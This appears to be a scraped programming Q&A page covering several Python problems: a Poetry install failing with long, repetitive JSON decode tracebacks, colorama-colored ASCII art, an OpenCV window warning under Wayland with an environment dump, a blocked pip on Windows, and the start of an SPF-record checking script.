at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
• Installing certifi (2021.5.30): Failed
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
JSONDecodeError
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
Expecting value: line 1 column 1 (char 0)
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
396│ if ord0 == 0xfeff:
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
397│ idx += 1
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
399│ idx += 3
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
401│
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing pyasn1 (0.4.8): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
• Installing charset-normalizer (2.0.3): Failed
JSONDecodeError
Expecting value: line 1 column 1 (char 0)
at /usr/lib/python3/dist-packages/simplejson/decoder.py:400 in raw_decode
396│ if ord0 == 0xfeff:
397│ idx += 1
398│ elif ord0 == 0xef and s[idx:idx + 3] == '\xef\xbb\xbf':
399│ idx += 3
→ 400│ return self.scan_once(s, idx=_w(s, idx).end())
401│
• Installing idna (3.2): Failed
...
• Installing pyasn1 (0.4.8): Failed
...
• Installing urllib3 (1.26.6): Failed
...
Please let me know if there is anything else I can add to post.
ANSWER
Answered 2022-Mar-23 at 10:22This looks to be an active issue relating to poetry. See here - Issue #4085. Some suggest a workaround by downgrading poetry-core
down to 1.0.4.
There is an active PR to fix the issue.
QUESTION
I took the reference of How to make every character/line print in a random color? and changed the text to ghost ASCII art but the output is not printing the colored art but printing ascii code + the symbols used in the text
.
import colorama
import random
text = """
.-----.
.' - - '.
/ .-. .-. \
| | | | | |
\ \o/ \o/ /
_/ ^ \_
| \ '---' / |
/ /`--. .--`\ \
/ /'---` `---'\ \
'.__. .__.'
`| |`
| \
\ '--.
'. `\
`'---. |
) /
\/
"""
colors = list(vars(colorama.Fore).values())
colored_chars = [random.choice(colors) + char for char in text]
print(''.join(colored_chars))
ANSWER
Answered 2022-Mar-04 at 23:05Try calling os.system('cls')
before printing to the console with colors.
Also include r""
before your string to format it correctly (worked for me).
import colorama
import random
import os
text = r"""
.-----.
.' - - '.
/ .-. .-. \
| | | | | |
\ \o/ \o/ /
_/ ^ \_
| \ '---' / |
/ /`--. .--`\ \
/ /'---` `---'\ \
'.__. .__.'
`| |`
| \
\ '--.
'. `\
`'---. |
) /
\/
"""
os.system("cls")
colors = list(vars(colorama.Fore).values())
colored_chars = [random.choice(colors) + char for char in text]
print(''.join(colored_chars))
QUESTION
I try to use library cv2 for changing picture. In mode debug I found out that problem in function cv2.namedWindow:
def run(self):
name_of_window = 'Test_version'
image_cv2 = cv2.imread('external_data/probe.jpg')
cv2.namedWindow(name_of_window, cv2.WINDOW_NORMAL)
cv2.imshow(name_of_window, image_cv2)
cv2.waitKey(0)
cv2.destroyAllWindows()
After cv2.namedWindow appears warning and program stops. I will be pleasure if somebody give the advice.
When I call os.environ , appears this:
environ({
'PATH': '/home/spartak/PycharmProjects/python_base/lesson_016/env/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/snap/bin',
'LC_MEASUREMENT': 'ru_RU.UTF-8', 'XAUTHORITY': '/run/user/1000/.mutter-Xwaylandauth.MJ52B1',
'INVOCATION_ID': 'dd129fae7f7c452cb8fa8cd53b9da873', 'XMODIFIERS': '@im=ibus',
'LC_TELEPHONE': 'ru_RU.UTF-8',
'XDG_DATA_DIRS': '/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop',
'GDMSESSION': 'ubuntu', 'LC_TIME': 'ru_RU.UTF-8', 'SNAP_COMMON': '/var/snap/pycharm-community/common',
'SNAP_INSTANCE_KEY': '', 'SNAP_USER_COMMON': '/home/spartak/snap/pycharm-community/common',
'DBUS_SESSION_BUS_ADDRESS': 'unix:path=/run/user/1000/bus',
'IDE_PROJECT_ROOTS': '/home/spartak/PycharmProjects/python_base', 'PS1': '(env) ', 'SNAP_REVISION': '256',
'XDG_CURRENT_DESKTOP': 'ubuntu:GNOME', 'JOURNAL_STREAM': '8:37824', 'LC_PAPER': 'ru_RU.UTF-8',
'SESSION_MANAGER': 'local/spartak-pc:@/tmp/.ICE-unix/2082,unix/spartak-pc:/tmp/.ICE-unix/2082',
'USERNAME': 'spartak', 'LOGNAME': 'spartak', 'PWD': '/home/spartak/PycharmProjects/python_base/lesson_016',
'MANAGERPID': '1951', 'IM_CONFIG_PHASE': '1', 'PYCHARM_HOSTED': '1', 'GJS_DEBUG_TOPICS': 'JS ERROR;JS LOG',
'PYTHONPATH': '/home/spartak/PycharmProjects/python_base:/home/spartak/PycharmProjects/python_base/lesson_012/python_snippets:/home/spartak/PycharmProjects/python_base/chatbot:/snap/pycharm-community/256/plugins/python-ce/helpers/third_party/thriftpy:/snap/pycharm-community/256/plugins/python-ce/helpers/pydev:/home/spartak/.cache/JetBrains/PyCharmCE2021.2/cythonExtensions:/home/spartak/PycharmProjects/python_base/lesson_016',
'SHELL': '/bin/bash', 'LC_ADDRESS': 'ru_RU.UTF-8',
'GIO_LAUNCHED_DESKTOP_FILE': '/var/lib/snapd/desktop/applications/pycharm-community_pycharm-community.desktop',
'BAMF_DESKTOP_FILE_HINT': '/var/lib/snapd/desktop/applications/pycharm-community_pycharm-community.desktop',
'IPYTHONENABLE': 'True', 'GNOME_DESKTOP_SESSION_ID': 'this-is-deprecated', 'GTK_MODULES': 'gail:atk-bridge',
'VIRTUAL_ENV': '/home/spartak/PycharmProjects/python_base/lesson_016/env', 'SNAP_ARCH': 'amd64',
'SYSTEMD_EXEC_PID': '2099', 'XDG_SESSION_DESKTOP': 'ubuntu', 'GNOME_SETUP_DISPLAY': ':1',
'SNAP_LIBRARY_PATH': '/var/lib/snapd/lib/gl:/var/lib/snapd/lib/gl32:/var/lib/snapd/void',
'SSH_AGENT_LAUNCHER': 'gnome-keyring', 'SHLVL': '0', 'LC_IDENTIFICATION': 'ru_RU.UTF-8',
'LC_MONETARY': 'ru_RU.UTF-8', 'SNAP_NAME': 'pycharm-community', 'QT_IM_MODULE': 'ibus',
'XDG_CONFIG_DIRS': '/etc/xdg/xdg-ubuntu:/etc/xdg', 'LANG': 'en_US.UTF-8',
'SNAP_INSTANCE_NAME': 'pycharm-community', 'XDG_SESSION_TYPE': 'wayland',
'SNAP_USER_DATA': '/home/spartak/snap/pycharm-community/256', 'PYDEVD_LOAD_VALUES_ASYNC': 'True',
'DISPLAY': ':0', 'SNAP_REEXEC': '', 'WAYLAND_DISPLAY': 'wayland-0',
'LIBRARY_ROOTS': '/home/spartak/.pyenv/versions/3.9.7/lib/python3.9:/home/spartak/.pyenv/versions/3.9.7/lib/python3.9/lib-dynload:/home/spartak/PycharmProjects/python_base/lesson_016/env/lib/python3.9/site-packages:/home/spartak/.cache/JetBrains/PyCharmCE2021.2/python_stubs/-1475777083:/snap/pycharm-community/256/plugins/python-ce/helpers/python-skeletons:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stdlib:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/jwt:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/six:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/mock:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/nmap:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/annoy:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/attrs:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/polib:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/retry:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/docopt:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/enum34:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/orjson:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/pysftp:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/xxhash:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/chardet:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/futures:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/pyaudio:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/tzlocal:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/Markdown:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/Werkzeug:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/aiofiles:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/colorama:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/filelock:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/paramiko:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/pathlib2:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/requests:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/waitress:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/freezegun:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/ipaddress:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/pyRFC3339:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/typed-ast:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/Deprecated:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/cachetools:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/frozendict:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/pyfarmhash:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/JACK-Client:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/contextvars:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/atomicwrites:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/cryptography:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/DateTimeRange:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/click-spinner:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/pkg_resources:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/python-gflags:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/python-slugify:/snap/pycharm-community/256/plugins/python-ce/helpers/typeshed/stubs/python-dateutil',
'SNAP_VERSION': '2021.2.3', 'LC_NAME': 'ru_RU.UTF-8', 'XDG_SESSION_CLASS': 'user',
'_': '/usr/bin/gnome-session', 'SNAP_DATA': '/var/snap/pycharm-community/256', 'PYTHONIOENCODING': 'UTF-8',
'DESKTOP_SESSION': 'ubuntu', 'SNAP': '/snap/pycharm-community/256', 'USER': 'spartak',
'SNAP_REAL_HOME': '/home/spartak', 'XDG_MENU_PREFIX': 'gnome-', 'GIO_LAUNCHED_DESKTOP_FILE_PID': '122719',
'QT_ACCESSIBILITY': '1', 'PYTHONDONTWRITEBYTECODE': '1', 'LC_NUMERIC': 'ru_RU.UTF-8',
'GJS_DEBUG_OUTPUT': 'stderr', 'SSH_AUTH_SOCK': '/run/user/1000/keyring/ssh', 'PYTHONUNBUFFERED': '1',
'GNOME_SHELL_SESSION_MODE': 'ubuntu',
'SNAP_CONTEXT': 'AoM6cqDJGx0xxWBUHLXWyVdhoNwTuHJsXSu2foumZWGYLCOaeHoL', 'XDG_RUNTIME_DIR': '/run/user/1000',
'SNAP_COOKIE': 'AoM6cqDJGx0xxWBUHLXWyVdhoNwTuHJsXSu2foumZWGYLCOaeHoL', 'HOME': '/home/spartak',
'QT_QPA_PLATFORM_PLUGIN_PATH': '/home/spartak/PycharmProjects/python_base/lesson_016/env/lib/python3.9/site-packages/cv2/qt/plugins',
'QT_QPA_FONTDIR': '/home/spartak/PycharmProjects/python_base/lesson_016/env/lib/python3.9/site-packages/cv2/qt/fonts',
'LD_LIBRARY_PATH': '/home/spartak/PycharmProjects/python_base/lesson_016/env/lib/python3.9/site-packages/cv2/../../lib64:'})
ANSWER
Answered 2021-Nov-07 at 00:17I reverted back to Xorg from wayland and its working, no more warnings
Here are the steps:
- Disbled Wayland by uncommenting
WaylandEnable=false
in the/etc/gdm3/custom.conf
- Add
QT_QPA_PLATFORM=xcb
in/etc/environment
- Check whether you are on Wayland or Xorg using:
echo $XDG_SESSION_TYPE
QUESTION
I tried to download colorama, but when I write pip install colorama
, there is an error:
The system cannot execute the specified program.
Here is the command input and the output:
C:\Users\ADMIN>pip install colorama
The system cannot execute the specified program.
ANSWER
Answered 2022-Feb-28 at 15:17You probably installed pip very recently (first usage ?)
Windows detected it as suspicious and ask you to "unblock" it first.
QUESTION
I'm trying to create a script using python that separate 2 kind of websites , the one with SPF included and the others with SPF , and classify them using python, so in the beginning it worked perfectly but these daysit gives me a message error that I don't find a clue about it
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from concurrent.futures import ThreadPoolExecutor
import re
import requests
import json
from datetime import datetime
from colorama import Fore, Back, Style
import colorama
from webdriver_manager.chrome import ChromeDriverManager
colorama.init()
def checkCaptchaPresent(driver):
captchaFound = True
while captchaFound:
try:
driver.find_element_by_id("captcha-form")
driver.set_window_position(0, 0)
except:
driver.set_window_position(20000, 0)
captchaFound = False
return 0
def requestSPF(url):
response = requests.get("https://api.sparkpost.com/api/v1/messaging-tools/spf/query?domain={}".format(url)).json()
for error in response['results']['errors']:
if "does not have an SPF record" in error['message']:
print(Fore.RED + "{} does not have an SPF record".format(url))
return [url]
print(Fore.GREEN + "{} have an SPF record".format(url))
return []
chrome_options = Options()
PATH = "webdriver/chromedriver.exe"
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument('--window-size=1000,1000')
chrome_options.add_argument('log-level=3')
# chrome_options.add_argument("--user-data-dir=SFPInspector")
while True:
driver = webdriver.Chrome(ChromeDriverManager().install(),options=chrome_options)
driver.set_window_position(20000, 0)
search_term = input("Enter search term: ")
number_results = int(input("Max number of url to scrape: "))
language_code = "en"
